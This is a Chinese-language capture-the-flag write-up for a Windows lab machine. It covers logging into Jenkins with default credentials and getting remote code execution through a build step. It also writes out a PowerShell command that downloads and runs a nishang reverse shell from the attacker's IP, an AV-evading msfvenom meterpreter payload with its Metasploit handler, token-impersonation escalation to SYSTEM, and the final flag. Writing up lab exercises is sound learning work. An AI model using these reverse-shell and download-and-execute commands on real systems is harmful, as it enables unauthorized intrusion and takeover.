Initial Access

nmap扫描端口

浏览器访问8080端口的web服务,发现是一个Jenkins CMS

尝试admin admin 成功登录

也可以用hydra爆破,这里贴一张网上的WP图

稍微在网上搜索下这个比较经典的CMS,就可以知道这有个页面可以上我们RCE

https://github.com/samratashok/nishang

利用这其中的Invoke-PowerShellTcp.ps1来进行反向shell

在本地开启Python服务来让靶机下载我们的shell,开启nc来监听反向shell

在靶机上,用powershell脚本来进行反向shell的下载与连接,IP为自己攻击机的IP,

powershell iex (New-Object Net.WebClient).DownloadString(‘http://10.17.49.170:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.17.49.170 -Port 1234

apply,save,build now来运行powershell

连了好几次终于连上去了

Switching Shells

为了使权限升级更容易,让我们使用以下过程切换到meterpreter shell。

使用msfvenom创建一个Windows meterpreter reverse shell,并使用以下有效负载:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=IP LPORT=PORT -f exe -o shell-name.exe

该有效载荷生成编码的x86-64反向TCP计量器有效载荷。有效载荷通常被编码以确保它们被正确地传输,并且还逃避防病毒产品。反病毒产品可能无法识别有效负载,也不会将其标记为恶意。

创建此有效负载后,使用与上一步相同的方法将其下载到计算机:

powershell "(New-Object System.Net.WebClient).Downloadfile('http://your-thm-ip:8000/shell-name.exe','shell-name.exe')"

在运行此程序之前,请确保在Metasploit中设置了处理程序:

use exploit/multi/handler  
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST your-thm-ip set LPORT listening-port run

这一步使用Metasploit处理程序接收来自反向shell的传入连接。一旦这个运行,输入这个命令来启动反向shell

Start-Process "shell-name.exe"

发现shell成功上传

这里的两个shell都是我传的,一开始以为是生成的参数填错了又传了个新的,后来才发现是没有设置payload(恼)

在msf里开启监听

草,连了半天连接失败才发现没有设置payload!!!

set PAYLOAD windows/meterpreter/reverse_tcp

在nc的shell中运行

Start -Process “shell-name1.exe”

成功将shell转移至msf

权限升级

Windows使用令牌来确保帐户具有执行特定操作的正确权限。帐户令牌是在用户登录或通过身份验证时分配给帐户的。这通常是由LSASS.exe完成的(可以把这看作是一个身份验证过程)。

此访问令牌包括:

  • 用户SID(安全标识符)
  • 组SID
  • Privileges权限

有两种类型的访问令牌:

  • 主要访问令牌:与登录时生成的用户帐户相关联的
  • 模拟令牌:这些允许特定进程(或进程中的线程)使用另一个(用户/客户端)进程的令牌来获得对资源的访问

对于模拟令牌,有不同的级别:

  • 安全匿名:当前用户/客户端无法模拟另一个用户/客户端
  • 安全标识:当前用户/客户端可以获取客户端的标识和权限,但不能模拟客户端
  • 安全模拟:当前用户/客户端 可以在本地系统上模拟客户端的安全上下文
  • 安全授权:当前用户/客户端可以在远程系统上模拟客户端的安全上下文

其中安全上下文是包含用户的相关安全信息的数据结构。

帐户的权限(在创建时赋予帐户或从组继承)允许用户执行特定操作。以下是最常被滥用的特权:

  • SeImpersonatePrivilege
  • SeAssignPrimaryPrivilege
  • SeTcbPrivilegesedbprivilege相关
  • SeBackupPrivilegeSeBackupPrivilege服务
  • SeRestorePrivilege返回特权
  • SeCreateTokenPrivilege
  • SeLoadDriverPrivilege
  • SeTakeOwnershipPrivilege
  • SeDebugPrivilege

先用whoami /privc查看权限

不知道为什么msf建立的shell提示没有whoami这个命令,在nc中建立的shell就有、、、

得知有这些权限,按THM的思路来走利用SeImpersonatePrivilege权限,可以模拟别的用户的token

在msf中输入load incognito载入incognito模块

在 Windows 操作系统中,用户 token 是一个包含用户安全性标识符 (SID)、用户组 SID、用户特权和其他安全信息的数据结构。用户 token 通常与登录用户的安全身份相关联,可以用于验证用户对系统资源的访问权限。

输入list_tokens -g查找有哪些可用的token

发现BUILTIN\Administrators可用

输入运行: impersonate_token “BUILTIN\Administrators”

来模拟Administrators的令牌

即使拥有更高的特权令牌,也可能没有特权用户的权限(这是由于Windows处理权限的方式-它使用进程的主令牌而不是模拟令牌来确定进程可以或不能执行的操作)。

输入getuid,发现已经成功转换为SYSTEM组

确保您迁移到具有正确权限的进程。最安全的进程是services.exe进程。首先,使用ps命令查看进程并查找services.exe进程的PID。使用migrate PID-OF-PROCESS命令迁移到此进程

这里不太懂,问了下GPT

最后cd至C:\Windows\System32\config

cat root.txt

这里的cat能用应该是在msf中连接shell的原因…

dff0f748678f280250f25a45b8046b4a

碎碎念

虽然在THM中学完了windows提权,但还是第一次打包含windows提权的靶机,相对于Linux提权来说还不是很熟,如果没有THM的提示很多东西都不清楚,感觉还是知识上的缺漏,总之多打靶机()